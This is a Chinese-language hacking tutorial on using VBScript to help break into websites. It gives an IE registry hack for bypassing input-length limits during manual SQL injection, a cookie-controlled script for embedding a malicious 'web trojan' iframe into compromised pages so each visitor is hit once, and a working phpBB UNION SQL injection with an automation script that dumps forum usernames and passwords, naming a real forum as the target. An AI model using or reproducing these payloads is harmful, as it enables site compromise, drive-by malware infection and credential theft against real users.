利用VBS輔助***
作者:lcx 來源:vbs小鋪 不知大家看了上期我的的文章裏的幾則vbs代碼,有何感想。也許有的高手會不顧一屑,也許有的菜菜會會心一笑,無論如何,這期我還是厚着臉皮繼續來貼 VBS代碼賺稿費來了。利用VBS來寫一個像模像樣的工具是困難了點(其實是我水平不夠),但是用它來輔助***,方便手工則有的時候是恰當好處了,還是來寫三個例子吧。 一、更改注入代碼框的長度 有的注入點是在文本框裏的,像搜索之類的注入。當然,抓包提取出注入點的url然後放在工具裏也是可以的。如果喜歡手工的話,可以直接在文本框裏寫入注入語句提交。但這時候就會有一些問題了,有的文本框限制了你提交內容的長度。很多人這時候的做法是將該注入頁面保存下來,去掉html裏的長度限制,然後本地提交。這樣一來,不僅麻煩,而且有時還會帶來reffer的問題。我們可以寫一段vbs語句,導入註冊表,直接更改頁面上的文本框長度就可以了。 註冊表(擴展.reg)的內容如下: ★ Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\擴展] "contexts"=dword:00000004 @="d:\\len.html" ★ 這個擴展.reg的裏放在d:下的len.html裏的內容是這樣的: ★ <script language=vbs> set srcevent = external.menuarguments.event set doc=external.menuarguments.document set ele=doc.elementfrompoint( srcevent.clientx, srcevent.clienty ) if ele.type ="text" or ele.type="password" then ele.maxlength=800 ele.size=200 end if </script> ★ 我們把擴展.reg導入註冊表後,再遇到文本框的限制後,就有辦法對付了,點擊圖1中的擴展後,就有圖2所示的效果了,文本框比原來的長度長了好多呀。 圖1、圖2 二、VBS代碼控制Cookie 如果是溢出型之類的網馬,掛在網上後,客戶端的IE會很卡。如果用cookie控制的話,只讓用戶訪問網馬一次,那效果就不錯了。網上有些智能型的網馬也是這樣做的,不過裏邊的代碼都是js寫的,我提供給大家一個vbscript代碼吧。代碼如下: ★ <SCRIPT LANGUAGE="VBSCRIPT"> '取得cookie內容函數 function GetCookie(sName) DIM aCookie, i, aCrumb GetCookie = "" aCookie = split(document.cookie, "; ") FOR i = LBOUND(aCookie) to UBOUND(aCookie) aCrumb = split(aCookie(i), "=") if sName = aCrumb(0) then GetCookie = unescape(aCrumb(1)) EXIT FOR end if NEXT end function if GetCookie("1") <> "1" then Document.write("<iframe src=http://www.sohu.com></iframe>")'可改成你的掛馬頁面,這裏的sohu.com只會顯示一次的。 document.cookie = "1" & "=" & escape("1") & "; expires=Tue, 31 Dec 2009 23:59:59 GMT" 'cookie的有效期我們讓它到2009年 end if </SCRIPT> ★ 不過需要說明一下的是,我看到很多人用智能型網馬的話,都是在原頁面src=http://www/xxx.js這樣調用,就根本起不到智能型網馬的作用了。像我提供的這段代碼,也是同樣需要把所有代碼全部查入被掛馬頁面裏纔可以,如果遠程調用會有跨域的問題的。 三、VBS省去手工操作的麻煩 前不久有一個phpbb的漏洞,注入語句就是●links.php?t=search&search_keywords=asd& start=1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where user_id =2/*●。我找了個有漏洞的站,抓了個圖3。 圖3 如果將語句改成●links.php?t=search&search_keywords=asd&start=1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where user_id limit 0,10/*●的話就會暴出前10個用戶的名和密碼。要提醒你的是,我發現國外的站多數要將字段加到13,中文或繁體的加到12就可以了。另外,如果裏面的字段值不對的話,原有頁面會有提示的,可以根據提示找到對的字段名。像我們用錯誤的字段數列提交一下,會有圖4的提示: ★ SQL Error : 1222 The used SELECT statements have a different number of columns SELECT l.*, u.username FROM phpbb_links l, phpbb_users u WHERE link_active = 1 AND l.user_id = u.user_id AND (link_title LIKE '%asd%' OR link_desc LIKE '% asd%') LIMIT 1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12 FROM phpbb_users where user_id=2/*, 10 ★ 圖4 從圖4中的提示中很容易看到原有的字段和表名。 我們假如一切默認,需要將些論壇所有的用戶名和密碼都記錄下來,用手工就有點累了,可以寫一個phpbb.vbs腳本,讓它自動保存。代碼如下: ★ URL=lcase(trim(Wscript.Arguments(0)))&"links.php?t=search&search_keywords=asd&start=1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where user_id limit "& lcase(trim(Wscript.Arguments(1)))&","&lcase(trim(Wscript.Arguments(2)))&"/*" Set xmlHTTP=createobject("Microsoft.XMLHTTP") xmlhttp.open "GET", URL, False, False xmlhttp.send wscript.sleep 300 If xmlhttp.status=200 Then set aso=createobject("Adodb.Stream") aso.open aso.type=1 aso.write xmlHTTP.responsebody aso.saveToFile "c:\"&lcase(trim(Wscript.Arguments(2)))&".htm",2 aso.close End if ★ 運行效果如圖5所示。運行完後,c:下就有一個40.htm文件了,裏邊就會有前40個用戶的名和密碼。圖5中的命令改成cscript phpbb.vbs [url]http://forum.proanamia.com/[/url] 40 80,就會在c:生成80.htm,裏面就會有userid在40-80之間的用戶名和密碼了,是不是很方便呢? 圖5 當然這個phpbb.vbs腳本很粗糙,可以更好的完善,這個工作就交給親愛的讀者了。本文出自 51CTO.COM技術博客 |